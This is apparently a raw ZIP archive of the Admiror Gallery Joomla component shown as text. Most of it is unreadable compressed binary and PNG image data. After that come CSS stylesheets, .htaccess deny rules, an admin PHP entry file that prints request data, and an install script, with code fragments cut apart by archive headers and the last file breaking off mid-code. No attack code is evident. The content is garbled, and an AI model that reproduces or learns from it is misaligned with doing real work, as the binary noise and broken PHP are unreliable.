706963nj[dJ}1N%,.)It2'č\JFzVkì[vBRJ?hJMLf¿OT6C$hlT*ȏ!Al\%(6[hᲝ}f&WWv=ڬw%hm|(Yia r VT7vY RbB[eIC(d-$I= ui(Id:τ}\KZ(Д*KZlTCӴ$(O/jJnZ ȯ̋&B/$7).rO_;Bwn 5tF;tSFMe J#jsL :ԭRe!)'NO3]ڪpWݵ%jjt J:˂JWS'^v3Aqx&ڽsr ےIa~k,Fer.m  +Tgi:m:Mrsh06>6 j9N.6CHSM [km(pGIQ$ $+9c\_&4~Gj/$,wV=>Z۔FVq!qU29?!jLš}.Ti_3EHqk*BU+ y8ycj]HUY7mv P##Z~qp5im ;.ɔaI[KjKed-'ONsi!+yju.-Glmݴ *QGXf K[|*FJ t9 KIK!Om%d~JG\V&ͩaVDvn×De!e lEO^X,ioHQ =GZXa,ðnAPjQ8.yL S)[c0MRIQh- W:x=v.7v-qLD}?֑ʵ+R'R[%[ $)SCcrt8}ɶc.qQFIV. /-P雇S5ۍsA Ϻ:g9?mֵoW %&;}LbOGZxܞ%7f t^XJrPp H#PH4굤8ֺyZXҟ]oV7mWUeފ5G)#=P&Ulԩl5@yR) O&(bsmȥwDdPH9'7>6tOf@מH#{!RIrTܦ]P9)RWM٫jRGUG}m"Ԑ bjP̅ReJ5 })PL[lI%*$][z҃:,FpB8>v]`)Gr {xDy XؠÀ܆^.qqn/.D5=#@L'갑j vBTnR:vή6P%*t63vjV]VlȔY6V=pfY :$1K%$4 Xa۰|RVu.ƭGnn^&E~<&*R!B{%kV7[mXaxjaKN]%*?4Ϙ>9䄓0~zM[w.ڎm Zs9fk\33qJ}أQs8KH)Şո+fխFwplxM.!KUU"S #H\VRqҜEcΫg}ۆ[{ [aťrH >`QLn; QuR? O>#ysʯuXPP5fEuFv&Ly00]p%%JBA' Jzt 'OiQ6k>LϵSi6*qV!2aS$OU",j)M cfC) qIBsR?rsrvy;;k ;)}ZPT*گKɠܖ]Z.UfE =>8!wцR_0[ _.Yq*=ɪ@Z%U$KYD IL0syVNDst7sFcI݋n)$nj2)-P NJG<ֳ|Ovu&@e:FH ҥjxm%ei`;q3OwTїBԕMՌs(u׾\HA/g,x[.-W=kY ]QZJ'`IT[\WmgITZr!-B(|v_`+u}|MK3%iy^q@EvǞ[ SmoC")!T 2<,zzko Aؼ JTAIOڰNp1!jm>.W[؋r^<0m&>gԥ/W)$% z~zO*D]+PJzZR>q_1`W5ydّ)WЕ+kYƪ*9 Fkv}v{YU,!k-!D)L0uEi'LX[UnJ^2m]EJac <}Y U Bl?UR/ڈAj!${'IԭջlZ}H4j[IY)fPiLz碕8 vCiDkzy&&KJZPG.VAC2 ^uNʭó~ JIHb4PJ*tku iY[#Ry1q,J?=t(v⒃ݝscSRI5-6].AWd:n',?S9JzjL~IƸlu^̀nqj:۲2ޑRap;TgdJe-'$ma_œ.n&[)71%ziI~ nJ@45rT%?]D6qAۻOɸLw*PeZRPk VN:{Yw\KCR .Ż%TG2iZ{g "iٖ g:g|'/!)IV~o\mCRݪv+L)s!Bv#OO zB㜎]XZ5 枇iZ > {;-via?niy~xа3="XBT+d+'q)BR˰oaVK`)l)=r C{!\dV\PD2TỊڙOAT;8uSOkKP L|R{WpEi*JJ2 KK$v[[V(4@ HjZf|<6\Zg/iJ! YQQ<ğJe]ʷ[%4)y[?* GGDQ6-P b>.YKl򹒐=3pU 3/h4>OOίyhoH)btt+衃AarM9~5BgM+Ƈ78হmԖ65?(e͊ws<,vF{~ xF)ubqCGʼ{%RpBIN;>' b[=rU?S'\NQ+W<)( c Aq߷MXkWƬ6'j{&~OL:GPGMTzVsUri Qƭ~Xܺa!%R :0 YۻUt"2UMJ);ȩ?5-.0T֐9LM6s[SO7ʴ8#8ﺾ#O.܋rkTKrKJN-\/yU3"˻`Ѡ\-zt?M%4˅V *#T0ptm[fTk5/y'B@* "B}Hj${kQA髉FU"kPOU~ dB5q)?WnOҜ~Zı˼;{dQk`@SϺ''#$$cEJٷeNBRI'rOT} JwPn]HaE=20jRzcI?|3ҸBzvLzJ&s.tԅ:V=5YfU_(x[kqgO$ Z4h+Hk;n? wZ3pg%p'^s=v,mnURd;ih:҉m5r1QŒ3k) '^gmko֮y-liqta!n5̒1cZcIHJ$m1{6?<1ΫaB~!9' ;jT/߹R)Q04NUt@q,ӮE=ɾ{.E5vSp`g}yPGPbX&9xVk$^ۻ$:J$6Oԍ0qE>:*nHE:#~C,*RCܿJ\$ ;xOJ zBT!i*JTysHP߆4 Cla.-+bSP2|G1>gק 2dͨRӪz_&tԐҒ?u(P'b+J-] li6?= 9EWw7E7GXB)ӱ֭k_6?,kz)fLCz[Y棢:DWwvF(G0LzVQYOR;o&xXKkm!dc8?m=e=a:z՗6A(#Yl5Cyo^̘,1SZYAcWtOC+ԿFM7mXRw&d: 4y RIƢl8mSilMӥSJԧ2(QI:iJGR:Y[ ޽oIH]U0w\1jĭV}eõ娶-ĒrI=uHI<Щ.)iNe)-{H̹=*Ҏ{%$>zTD[CH =$TşaF86pajJ=:tAA`Ipi<jO5=gS?hznLkw냙h??ݾ04-(0\t &Ċp-#::z|Gn\=eu>E3\;uQ$MMYjiejN~YC=!j]EXMe\tDTxBxcRʽ)A`"}Q%=:yF 醩c~xͫjw K~U$XHjIT]kpb독2W x|]2?h\UƋon֒9_Ϸ!9L(-!9WR07#yYz V=(씓:A w+o͗ᔧFБ3KW|Gf u Pp(( ?맵忺t*kR\qa[P6aȴ3銟ٛ.Zqڭa:sc^6^?[gJRȔ9I$(9е,y{y+T`-Em#QR)P z=OQY"|F,h[@-kH%IW @'k]xWE| &oȤCUtBN[2OIb@ ru/=sj"- س5}mP]뫩I?=k* ƚmކҔ1+!DDM;$DCǦpA6N&ԧӞ9P9Z0㶨VNB/IYR>g*Ҕu)遫N?A%Fku˙z.ቲeŭ ˊԮ$o)ƪJ :q(<ž\SLmmF਺K.Hx U< hi(<ڸXސ#e\qA- RI頻M+8>)S!KGZH[g<\AmI>i|?wwD+qR#4deGo=`%%O!#+sh6q.c R9POD4j4hEkok#*BI^l|Flf񹹴_ % Jdc#x5u%ڀ!I ?7W_IYRZTV93jx\Z`eW+8)wLdE=x{4ήn(4x'ju™0՟@g9i%<uAeԂZhgb GpEeof|8VmhԘtTҐ߆׼TډLg%CP~\i+ڄ(v^}kB:t wn,]i1LZe-+q쓟-)g]pw8'}iC,>YMe8TV|9WY@=6!$*J֌OPMaT)ѪĆP~GOWn|ھoUm SFQΜړS J:?}Yu1exOjYW1\0GP[sTյQ 5v,a3dkw*?4#:x%sbUПvz 5j 12R{Zz(gl-mܕQ^-x}q@tܒ t O9ă^rR+jc d Tg0uq-:ZaBSO{ڕq8h:fmd&ԕ%p6USg2AݴȣP6^@\2e>x R\9`'eɪ8 ?f JLK~Pue0BSƹw~HɮWvMj겥XU(,F%֢A1(PQCN5ouX”ͪ/7"+cB<+JBJ¹}ҵcm-{j=VOX(f9SRr2@`⛲;mCuʽ&|H2U(U)n%iZiI Ypd`5f Y%zRBT$%$$-(#_x/1!5.IR(ɫI&QLUEM*_kn'mGqa+P:ԃc$0TyU[ŷ{B3{jT*ۊ@a ڶ]tiӪbiɌHNIʈ>[d@_25Qj$G$VYq;)ö>=nH&pr6UkJHP1 yֳy]¶TZJD e$ u_Y*l%ۍP?R@jii]Ǹ\L͉! ye,Ts#_A^wcs0f<9 Ƴ-[8LA#!&#\؋oEUxҪʃ%ВQQtUݎU# Hb鎚 .~q˼^Y^n} Fׯi~Ri%ӂ8ڱbqꨍΪ]QΧ-C [Fze=PQ̕`b!x8OlҮ+nE)HXk9fG(J(NXdVS&;7deiޖKk 44=fF&ݽ0 kԧb8R9a։#׬mt(ZdҮ [)ժ{RQC#??)KonҾ7GyJ~z yHyZvǴ TS[*髉GΦh-k30rS"ҫ^^[|H9 MrLM!2zN5ߴmQ,!O@P>,\C,n,! OR?-8߈QfpYMjeTȍ %m Q@:+pױ&^l=mB9.Aa~bSG!?3GJ$ 0\=-+?$$U;Z'nwZMląH8yc H%nvf۔HH\DX굞j%J=I']X@I:{j2*ok. @OR,{[m*x@?O9>I B߸TrI延Pu5?c){wVGO]UfrXLmIv1?]ۅI;4z_;Nxhvn*p5?,W7J.Im?uVJ)b8=CHYZŮ]Xp[!dxʾWW p%rɡCRQJ\+ZvBktSϒ?"Oiշq+du#mEkL\$Tyk$ZwfBG8mn ǣAkxɩK*nC}Co?D+fV:$!|chQsn+#c$ƫJ1ts0CcҤO`v햴_V6vT#tfܐZrT0~ tNVm_oCheS[KC1qTu)zG߄Op YɶlemJP2@IxG6.ۭ۫ѣOcӤS_j7)~;qJU\qN0c4ep/R! s¼W,|I:m,izL*H'@ ^:1\z#[TX 'NDZwA?J**7HAO|=>:o{]}nDu!$%Yi`s-YW%a~BHgmܢV~-qt[A h 4kVFF|hѢ0>0>4h4`|4hE4`wƍ(F(F(F(F(W#*_$osVܩC(CcO]:IWp }uT&gR< HS2~8[C aDu y]V#E t{b=1RG=3jfBdV*ԅ+՛ 54S[*Q=i(kGS+i CK=NU>ˮĘO"RyNq4V1c:fJtkgmqٛ|YL^Ż/k-w$e> dBk z㚷G~O B0S0?Y[t=oHQ@@;ն5j`\8ZxF+c\DV~8dޫPl9kw>⯆ׇʉCb緤E)FR[Y8זݽY+S-*:Sgx{ڊ|6vr;ca= ~௧a:zp`4֨UVF& Rb)N&ZԟeiJԤ[RRHlE7A6gn5Q*D5\% E⚫EN,D׼XJ&g\q[QRmt _YRjn\N!#ҩlKZ\%XYmn` I'oyRz&ժĺt)Z9";.֋趚OiWQUʫ9`f [S.$vI'm*LSb8 oEЪU:)v[q@Lo=-HL.#˱0q8y ^}t;▭.nx~Q2OP;{X7? {dŨnͬ@I&uJDܭƎm"+{Xn~ǴkZd n6+LSYo+QGexm.[{AOHԪkO,:a*XW1 Hh-Km6 336ś#xϳq I^ΥZT|_]&qhIj#S=(j[0?(i<|l5+g_,#q-(7~tHMǨFbd)h[@Խs0;wPBK K:%!g5!0^kq47 =64hW3F(F(F(F(F(F(F(F(ZpV'Gb[NUje<s~Nu#=[=);†q%UQVltmS}1E~1k:JJHQ]()@{>:̏O@e!(P%.Օ6l+A>j_N*k{r9뮩?+}F; fڒ,uN;jDg*\3zY)kfx觰Qjm5a"xOg %=0"1I1,4A  ( Jls,js3Tϗh;UQ\:P|एp?{2=K>quWM_t7BXJq ҭ&g76hj h\ Lyck |J۬m.)W-*D`MnCjCR\m=$B6\Jj=(?J/_ 5>)&v}w%]аzQP=Aӻը졄%[BF=1|8d.qK}gQ@l<4hV(:jWmP$ii T{5J#*qeŕohQk!*BT#ˮl\Ŏ@Jg_WTo鱷VJ"Sg&-/ Œ`d~WJAؗN?rl8AQ @#Dj}jWX`gVО>I5@j0c8:PtKU>` w7_*j}4QUh´RR0EWFUq{tHO>:ѢVVBJ{j}Ѣ0m4h4h4h4h^/0.7v{I3kգ:gH<2(VZT:jxgۊUۯo|{GT[QS1E^HNN[$d^0>ǟ%B+'EmmHyF H=##==+"8|klOy)?^ccW;~ ŧ|J%}V\292Ciގ9 CI99|m"FNwJ&:iOsЩe-XRP`>U3 iWO4t2AU=;U'j px]饕anڐ'/66JP:^רRN0\A^`4c`-i#kZҏTB꫸)VFJ}DŽʾPv~/7BcpﺙuA)ubJZI=Z>jP=n.nBGU-)SIzSģQ=}8%wR]Н x1C1JRyK5!|$xp_u~ܑTNics[1sدZ1`W$͞М:-)6--n'~`QѾgT Efmҗa&՛a4>nP2 RmNlvimHZ0f聞e)DjQ*RJTI$t0PCa(H)UӨGdM]qΔW@=mU9ѦW4hѣEG :SS2ΧO>*ւ|ঢ়$`F@:ڐ} R ;OuV/h%/7VB|,:P9Q]_ʧX?"ٺ.[er㦟G9Ȃ\rT?MV5*ݵ/IEƀ *ܔz2Zg9\Tggsc/+/sͧKMOtS3hqhtdR@Wul'dlOwBҵ!zBT +2c,1{8TpN@؃kH#[UlQcK}LSRF2f.ʦ9 ՋwnʍO*'29YuyTy,4s>W1K|Pq*)}{]4-5Xœ +?QGNZԤi؞Fz5oxZ HfA$g}۟*gJWƂ'A˧ }W.ުҌPrM 03G?ԭr4=SNn&Shp!\HuŨT%2W2R)/O&F^DD@uk"~Wǩ&OPI& nUje?!܋︩mzR.LjS]E"O;^Q)+s}k{j ƨhqK`ĢJ\9Q)1Yde痗ʗd0+ 0ukîuqp$ʺ3N38zҦ{z n &!1Ko~-U~ub]62ޚt\rSb>&IBe BiXt69Bk8zٻMkHQ[UEWnB*.+MB[6km%ŠoLGa zv?)twNrpEb 01?M"G]0m-(;QILDG]UKS2C)Es{~dPWuF&BRJB;2Z+V⿨Ync(wURxEa)g )-n 8%.,4NH"xւA}QȒv OZFmc(ѣF(ѣF(ѣF(ѣF(ѣF(ѣF(@=ƍ)* sNFPX:.̓F(t'*%{)#K`j@1ѣN$tJQЎ`lcF%'ZOShK֍4h4h4hW:[n9ƔԨ̌R()R*Ҡ T:2JBMfyOu=Nʖ4iQFQFU(_PKs>\x6com_admirorgallery/templates/default/images/folder.pngnuW+APNG  IHDRPPmPLTEÄJВťd̎ՙT _غ{ƆQtOݿܝ᥵K|iCҰnвrݽ}R̪eԕqJua:ݣZ׌|WȋսnZ1ͭl؜欙Ŧl׸zβ}}J×Ȫm˝ϼϷԿʹŲŌԶŴyd<μì{yyyմsֻ͍تoIzf@ǛtslӸ_Ɠ̯uzﭭ׻梋[Ûsb>֤֬q]7zӥɫrp=yT̲Ϫd̔ΚŢ]mlgִħqͤgǦϵpТƵۻ|Lؾ챬RʹӪڹpBhT,lݾŸ[Zxwr~qRƺaĵ̽˯ޥ¯ʧbR}vHnyafs_5Ͱx]qA蓌}ֽ­zkM~N{DkÛU઒c`{{slεWޭʳJ {tRNS@f5IDATx^C$ItٶͶmضm۶62;zf]T,aK R)5466}+u_/gϞklj9ſܯ!eη]7Ѩ^9RkV7G>wz<([aFnwt#l@Y'W1cH0Dk h\R6com_admirorgallery/templates/default/images/upload.pngnuW+APNG  IHDRasRGBbKGD pHYs B(xtIME   %QIDAT8c`fB1NH@32H'\cLJg!06&낙L b Pb wJ #kLIENDB`PKs>\}Kff>com_admirorgallery/templates/default/images/icon-16-popups.pngnuW+APNG  IHDR(-SsRGB[PLTE > >>? CB D C@@HC FCDKIIINKJJOLPNNLNLLM T UVTWTXTWWYXX"X#XZ^_[\`a;b&^:(^ d,dAA$g%h.gCEFI5g7h0l0l-l-mIG /m/nL9lPI;mMNQL;q;rPR=sU>sXTWVX[] [^`^c`b fe cfiki kols opwost{xw{~}x} { |Ƀ~ւ~͆Јڅ ܇Ӌ މ Ս܍؏܍   wtRNS@fbKGDH pHYs  ~tIME #%iwIDATc`tpط]; ߿wP`)\`^m 'ܾ}' '^zɂ -SjRf妄 wVcKFо IENDB`PKs>\4@:com_admirorgallery/templates/default/images/operations.pngnuW+APNG  IHDRasRGBbKGD pHYs  tIME ;!HEIDAT8˅jAS]$'NYf";_kŝOc:A%&\qa E}|uOnj0;3lll|ʲp:Vl ʲL@Ds!p>Z ("ZQAZk{朋j4=Fۮ`>D0IkS xʲ /$I07s$clι=%oz[Yc{^n@k "04Jq5"E\e668com_admirorgallery/templates/default/css/add-trigger.cssnuW+Abody { font-size: 10px; font-family: Arial,Helvetica,sans-serif; } h2 { font-family: Arial,Helvetica,sans-serif; font-size: 11px; } table.admintable td.key, table.admintable td.paramlist_key { background-color: #F6F6F6; border-bottom: 1px solid #E9E9E9; border-right: 1px solid #E9E9E9; color: #666666; font-weight: bold; text-align: right; width: 140px; } table.admintable td { padding: 3px; } table.admintable td.key, table.admintable td.paramlist_key { color: #666666; font-weight: bold; text-align: right; } input, select { border: 1px solid silver; font-size: 10px; } .button2-left { background: url("../images/j_button2_left.png") no-repeat scroll 0 0 transparent; float: left; margin-left: 5px; } .button2-left a, .button2-left span { padding: 0 24px 0 6px; } .button2-left a, .button2-right a, .button2-left span, .button2-right span { color: #333333; cursor: pointer; display: block; float: left; font-size: 11px; height: 22px; line-height: 22px; text-decoration: none; } .button2-left, .button2-right, .button2-left div, .button2-right div { float: left; } .button2-left .admirorgallery { background: url("../images/j_button2_admirorgallery.png") no-repeat scroll 100% 0 transparent; } PKs>\M4com_admirorgallery/templates/default/css/toolbar.cssnuW+A/* ===================================== TOOLBAR */ .icon-48-controlpanel{ background-image: url(../images/toolbar/icon-48-controlpanel.png); background-position: left top; } .icon-48-templates{ background-image: url(../images/toolbar/icon-48-templates.png); } .icon-48-popups{ background-image: url(../images/toolbar/icon-48-popups.png); } .icon-48-imagemanager{ background-image: url(../images/toolbar/icon-48-imagemanager.png); } .icon-32-AG_apply { background-image: url(../images/toolbar/icon-32-AG_apply.png); display:block; height:32px; width:32px; } .icon-32-AG_reset { background-image: url(../images/toolbar/icon-32-AG_reset.png); display:block; height:32px; width:32px; } .toolbar-list { text-align:right; } .toolbar-list ul li a span { margin:0 auto; } .toolbar-list ul { display:inline-block; zoom:1; } .toolbar-list ul li { display:inline-block; zoom:1; } .toolbar-list ul li a { text-decoration:none; color:#444; display:inline-block; zoom:1; padding: 5px 5px 0px 5px; } .clr { clear:both; } /* toolbar */ div.toolbar { display:block; height:80px; } div.toolbar table { float:right; } .AG_toolbar { padding: 10px; display:block; border-bottom-style:solid;} .AG_toolbar table.toolbar { border-collapse: collapse; padding: 0; margin: 0; } .AG_toolbar table.toolbar td { padding: 1px 1px 1px 4px; text-align: center; color: #666; height: 48px; } .AG_toolbar table.toolbar td.spacer { width: 10px; } .AG_toolbar table.toolbar td.divider { border-right: 1px solid #eee; width: 5px; } .AG_toolbar table.toolbar span { float: none; width: 32px; height: 32px; margin: 0 auto; display: block; } .AG_toolbar table.toolbar a { display: block; float: left; white-space: nowrap; padding: 5px; cursor: pointer; color: #333; } .AG_toolbar table.toolbar a:hover { margin:0; background-color: #ddd; text-decoration: none; color: #333; } PKs>\#o,,3com_admirorgallery/templates/default/css/index.htmlnuW+APKs>\q5com_admirorgallery/templates/default/css/template.cssnuW+A.AG_background_color { background-color:#eee; } .AG_border_color { border-color:#ccc; } .AG_border_width { border-width:1px; } .AG_base_font, .AG_body_wrapper th, .AG_body_wrapper td { font-family:sans-serif; font-style:normal; font-size:11px; color:#333; } .AG_margin_medium { margin:10px; } .AG_margin_bottom { margin-bottom:20px; } /* System Messages */ #system-message { margin-bottom: 10px; padding: 0;} #system-message dt { font-weight: bold; } #system-message dd { margin: 0; font-weight: bold; text-indent: 30px; } #system-message dd ul { color: #0055BB; margin-bottom: 10px; list-style: none; padding: 10px; border-top: 3px solid #84A7DB; border-bottom: 3px solid #84A7DB;} /* System Standard Messages */ #system-message dt.message { display: none; } #system-message dd.message { } /* System Error Messages */ #system-message dt.error { display: none; } #system-message dd.error ul { color: #c00; background-color: #E6C0C0; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B;} /* System Notice Messages */ #system-message dt.notice { display: none; } #system-message dd.notice ul { color: #c00; background: #EFE7B8; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;} /* System Standard Messages */ #system-message dd.message ul { background: #C3D2E5 url(../images/notice-info.png) 4px center no-repeat;} /* System Error Messages */ #system-message dd.error ul { color: #c00; background: #E6C0C0 url(../images/notice-alert.png) 4px top no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B;} /* System Notice Messages */ #system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../images/notice-note.png) 4px top no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;} .ag_guickIcon { float:left; margin-bottom:5px; margin-right:5px; text-align:center; } .ag_guickIcon a { border:1px solid #F0F0F0; display:block; float:left; height:97px; text-decoration:none; vertical-align:middle; width:108px; } .ag_guickIcon a span { color:#666666; } .ag_guickIcon a:hover { background:#F9F9F9 none repeat scroll 0 0; border-color:#EEEEEE #CCCCCC #CCCCCC #EEEEEE; border-style:solid; border-width:1px; text-decoration:none; } .ag_guickIcon a:hover span { color:#0B55C4; } .ag_guickIcon img { margin:0 auto; padding:10px 0; } .ag_guickIcon span { display:block; text-align:center; } #ag_params { vertical-align:top; padding:10px 30px; } #ag_descData { display:block; } #ag_controlPanel_wrapper { padding:20px; } .AG_descriptionWrapper { padding-left:20px; } /* ================================================== IMAGE DESCRIPTION */ /* RESET PADDING & MARGIN */ .AG_body_wrapper, .AG_bookmarks_wrapper, .AG_details_wrapper, .AG_body_wrapper hr { padding:0; margin:0; } .AG_body_wrapper hr { border:0; background-color:#ccc; height:1px; margin:7px 0; } .AG_body_wrapper a, .AG_body_wrapper a span { color:#dd0b50; } .AG_body_wrapper h1 { border:0 !important; } .AG_breadcrumbs_wrapper { font-weight:bold; } .AG_fieldset td { vertical-align:top; text-align:left; padding:0 5px 5px 0; } .AG_input { font-weight:bold; font-size:10px; height:16px; padding:0; margin:1px 0; border:1px solid silver; } .AG_bookmarks_wrapper, .AG_details_wrapper { vertical-align:top; text-align:left; } .AG_bookmarks_wrapper h1, .AG_details_wrapper h1 { font-size:16px; font-family: Tahoma,sans-serif; font-weight:bold; color:#333; } .AG_bookmarks_wrapper h2, .AG_details_wrapper h2 { font-size:14px; font-family: sans-serif; font-style:italic; font-weight:normal; color:#333; } .AG_bookmarks_wrapper { padding:20px; width:150px; } .AG_details_wrapper { border-left-style:solid; padding:20px; } .AG_legend { } .AG_legend td { padding:0 10px 10px 0; border: 0; } .AG_legend tr { border: 0; } .AG_item_wrapper { float:left; margin:0 5px 5px 0; border-style:solid; } .AG_item_link { padding:2px; display:block; } .AG_item_link:hover { background-color:#dd0b50; } .AG_item_img_wrapper { overflow:hidden; vertical-align:middle; padding:5px; height:80px; } .AG_item_controls_wrapper { text-align:left; padding:5px; white-space:nowrap; border-top-style:solid; height:175px; } .AG_item_controls_wrapper td { vertical-align:middle; line-height:24px; } .AG_separator { display:block; width:1px; height:90%; margin:0 3px; border-left-style:solid; } .AG_controls_item_name { border-top-style:solid; padding:3px 0; display:block; } .AG_common_button { margin:0; padding:0; display:inline-block; background-image:url("../images/AG_common_button.jpg"); background-repeat:no-repeat; padding-right:10px; background-position:right -96px; margin:0 3px; text-decoration:none; } .AG_common_button span { margin:0; padding:0; display:inline-block; background-image:url("../images/AG_common_button.jpg"); background-position:left top; padding-left:10px; } .AG_common_button span span { margin:0; padding:0; display:inline-block; background-position:left -48px; line-height:24px; font-size:10px; font-weight:bold; white-space:nowrap; } a.AG_common_button:hover { background-position:right -120px; text-decoration:none; } a.AG_common_button:hover span { background-position:left -24px; } a.AG_common_button:hover span span { background-position:left -72px; } .ag_hasXML, .ag_itemControls { vertical-align:middle; margin:0; padding:0; line-height:22px; } .ag_hasXML, .ag_hasThumb { vertical-align:middle; margin:0; padding:0; } .AG_mark_selectItem { border-color:#dd0b50; } .AG_thumbAndInfo_wrapper td { padding:0 5px; border: 0px solid #DDDDDD; } .AG_thumbAndInfo_wrapper tr { padding:0 5px; border: 0px solid #DDDDDD;; } .AG_thumbAndInfo_wrapper td div { padding:2px 0; } .AG_textarea { width:100%; height:70px; font-size:12px; padding:3px 5px; background-color:#ddd; border-width:0px; } /* ================================================== */ /* */ #jGrowl div.ag_header, #jGrowl div.ag_message { font-style:sans-serif; font-size:12px; color:white; } #jGrowl div.ag_header { padding:0; margin:0; line-height:20px; border-bottom:1px solid white; margin-bottom:5px; } #jGrowl div.ag_message { border:0; text-align:left; padding:0; margin:0; } #jGrowl .error { background-color: #a00; } PKs>\)2com_admirorgallery/templates/default/css/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,'com_admirorgallery/templates/index.htmlnuW+APKs>\)&com_admirorgallery/templates/.htaccessnuW+A Order allow,deny Deny from all PKs>\+e--+com_admirorgallery/admin.admirorgallery.phpnuW+A"; print_r($_POST); echo "
    "; // echo "GET: "."
    "; print_r($_GET); echo "
    "; $AG_template = "default"; // Set template to default JRequest::setVar('AG_template', $AG_template); // Shared scripts for all views $doc = JFactory::getDocument(); $doc->addScript(JURI::root() . 'plugins/content/admirorgallery/admirorgallery/AG_jQuery.js'); $doc->addScript(JURI::root() . 'administrator/components/com_admirorgallery/scripts/jquery.hotkeys-0.7.9.min.js'); $doc->addStyleSheet(JURI::root() . 'administrator/components/com_admirorgallery/templates/' . $AG_template . '/css/template.css'); $doc->addStyleSheet(JURI::root() . 'administrator/components/com_admirorgallery/templates/' . $AG_template . '/css/toolbar.css'); // Require the base controller require_once (JPATH_COMPONENT . DS . 'controller.php'); // Require specific controller if requested $controller = JRequest::getWord('controller'); if ($controller) { $path = JPATH_COMPONENT . DS . 'controllers' . DS . $controller . '.php'; if (file_exists($path)) { require_once $path; } else { $controller = ''; } } // Create the controller $classname = 'AdmirorgalleryController' . $controller; $controller = new $classname( ); // Perform the Request task $controller->execute(JRequest::getVar('task')); // Redirect if set by the controller $controller->redirect(); PKs>\)com_admirorgallery/.htaccessnuW+A Order allow,deny Deny from all PKs>\)$com_admirorgallery/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\v -com_admirorgallery/helpers/admirorgallery.phpnuW+A PKs>\%com_admirorgallery/helpers/index.htmlnuW+APKs>\a$$0com_admirorgallery/admirorgallery.scriptfile.phpnuW+Aget("manifest"); $parent = $parent->getParent(); $source = $parent->getPath("source"); $installer = new JInstaller(); // Install plugins foreach ($manifest->plugins->plugin as $plugin) { $attributes = $plugin->attributes(); $plg = $source . DS . $attributes['folder'] . DS . $attributes['plugin']; $installer->install($plg); } $db = JFactory::getDbo(); $tableExtensions = $db->nameQuote("#__extensions"); $columnElement = $db->nameQuote("element"); $columnType = $db->nameQuote("type"); $columnFolder = $db->nameQuote("folder"); $columnEnabled = $db->nameQuote("enabled"); // Enable plugins $db->setQuery( "UPDATE $tableExtensions SET $columnEnabled=1 WHERE $columnElement='admirorgallery' AND $columnType='plugin' AND $columnFolder='content'" ); $this->gallery_install_result = $db->query(); // Enable plugins $db->setQuery( "UPDATE $tableExtensions SET $columnEnabled=1 WHERE $columnElement='admirorbutton' AND $columnType='plugin' AND $columnFolder='editors-xtd'" ); $this->button_install_result = $db->query(); } /** * method to uninstall the component * * @return void */ function uninstall($parent) { $installer = new JInstaller(); $db = JFactory::getDbo(); $tableExtensions = $db->nameQuote("#__extensions"); $columnElement = $db->nameQuote("element"); $columnType = $db->nameQuote("type"); $columnFolder = $db->nameQuote("folder"); // Find AdmirorGallery plugin ID $db->setQuery( "SELECT extension_id FROM $tableExtensions WHERE $columnElement='admirorgallery' AND $columnType='plugin' AND $columnFolder='content'" ); $admirorgallery_id = $db->loadResult(); $this->gallery_uninstall_result = $installer->uninstall('plugin', $admirorgallery_id); // Find AdmirorButton ID $db->setQuery( "SELECT extension_id FROM $tableExtensions WHERE $columnElement='admirorbutton' AND $columnType='plugin' AND $columnFolder='editors-xtd'" ); $admirorbutton_id = $db->loadResult(); $this->button_uninstall_result = $installer->uninstall('plugin', $admirorbutton_id); $gallery_status = ($this->gallery_uninstall_result) ? JText::_('Removed') : JText::_('Error'); $button_status = ($this->button_uninstall_result) ? JText::_('Removed') : JText::_('Error'); $html = '

    Admiror Gallery ' . JText::_('Uninstall') . '

    ' . JText::_('Extension') . ' ' . JText::_('Status') . '
    Admiror Gallery ' . JText::_('Component') . ' ' . JText::_('Removed') . '
    ' . JText::_('Plugin') . ' ' . JText::_('Group') . '
    ' . ucfirst('Admiror Gallery Plugin') . ' ' . ucfirst('content') . ' ' . $gallery_status . '
    ' . ucfirst('Admiror Button') . ' ' . ucfirst('editors-xtd') . ' ' . $button_status . '
    '; echo $html; } /** * method to update the component * * @return void */ function update($parent) { //On update we just call install, no special case for updating. $this->install($parent); } /** * method to run before an install/update/uninstall method * * @return void */ function preflight($type, $parent) { } /** * method to run after an install/update/uninstall method * * @return void */ function postflight($type, $parent) { // $parent is the class calling this method // $type is the type of change (install, update or discover_install) if ($type == 'install') { $gallery_status = ($this->gallery_install_result) ? JText::_('Installed') : JText::_('Not installed'); $button_status = ($this->button_install_result) ? JText::_('Installed') : JText::_('Not installed'); $html = '

    Admiror Gallery Installation

    ' . JText::_('Extension') . ' ' . JText::_('Status') . '
    Admiror Gallery ' . JText::_('Component') . ' ' . JText::_('Installed') . '
    ' . JText::_('Plugin') . ' ' . JText::_('Group') . '
    ' . ucfirst('Admiror Gallery Plugin') . ' ' . ucfirst('content') . ' ' . $gallery_status . '
    ' . ucfirst('Admiror Button') . ' ' . ucfirst('editors-xtd') . ' ' . $button_status . '
    '; echo $html; } } }PKs>\) .htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_content/index.htmlnuW+A PKs>\)com_content/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_content/elements/index.htmlnuW+A PKs>\)com_content/elements/.htaccessnuW+A Order allow,deny Deny from all PKs>\c com_content/elements/article.phpnuW+AgetTemplate(); $fieldName = $control_name.'['.$name.']'; $article = JTable::getInstance('content'); if ($value) { $article->load($value); } else { $article->title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE'); } $js = " function jSelectArticle_".$name."(id, title, catid, object) { document.getElementById(object + '_id').value = id; document.getElementById(object + '_name').value = title; SqueezeBox.close(); }"; $doc->addScriptDeclaration($js); $link = 'index.php?option=com_content&task=element&tmpl=component&function=jSelectArticle_'.$name; JHtml::_('behavior.modal', 'a.modal'); $html = "\n".'
